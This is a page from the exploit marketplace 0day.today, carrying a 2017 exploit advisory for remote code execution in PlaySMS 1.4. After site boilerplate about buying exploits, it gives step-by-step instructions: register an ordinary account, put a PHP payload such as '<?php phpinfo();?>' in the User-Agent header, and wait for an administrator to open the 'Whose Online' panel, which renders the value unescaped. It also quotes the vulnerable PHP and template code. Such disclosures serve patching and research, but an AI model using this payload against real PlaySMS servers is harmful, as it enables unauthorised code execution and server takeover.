0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PlaySMS 1.4 - Remote Code Execution Vulnerability
Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log) # Date: 19-05-2017 # Software Link: https://playsms.org/download/ # Version: 1.4 # Exploit Author: Touhid M.Shaikh # Contact: http://twitter.com/touhidshaikh22 # Website: http://touhidshaikh.com/ # Category: webapps 1. Description Remote Code Execution in Admin Log. In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online. Using this functionality we can exploit RCE in Whose Online page. When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below) For More Details : www.touhidshaikh.com/blog/ 2. Proof of Concept 1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register): 2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in) 3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited ) setting parameter in online.php *------------------online.php-----------------* $users = report_whoseonline_subuser(); foreach ($users as $user) { foreach ($user as $hash) { $tpl['loops']['data'][] = array( 'tr_class' => $tr_class, 'c_username' => $hash['username'], 'c_isadmin' => $hash['icon_isadmin'], 'last_update' => $hash['last_update'], 'current_ip' => $hash['ip'], 'user_agent' => $hash['http_user_agent'], 'login_status' => $hash['login_status'], 'action' => $hash['action_link'], ); } } *-------------ends here online.php-----------------* Visible on this page: report_online.html *------------report_online.html-----------* <loop.data> <tr class={{ data.tr_class }}> <td>{{ data.c_username }} {{ data.c_isadmin }}</td> <td>{{ data.login_status }} {{ data.last_update }}</td> <td>{{ data.current_ip }}</td> <td>{{ data.user_agent }}</td> <td>{{ data.action }}</td> </tr> </loop.data> *------------Ends here report_online.html-----------* *------------------Greetz----------------- -----* |Pratik K.Tejani, Rehman, Taushif | *---------------------------------------------------* _____ _ _ _ |_ _|__ _ _| |__ (_) __| | | |/ _ \| | | | '_ \| |/ _` | | | (_) | |_| | | | | | (_| | |_|\___/ \__,_|_| |_|_|\__,_| Touhid SHaikh An Independent Security Researcher. # 0day.today [2024-12-25] #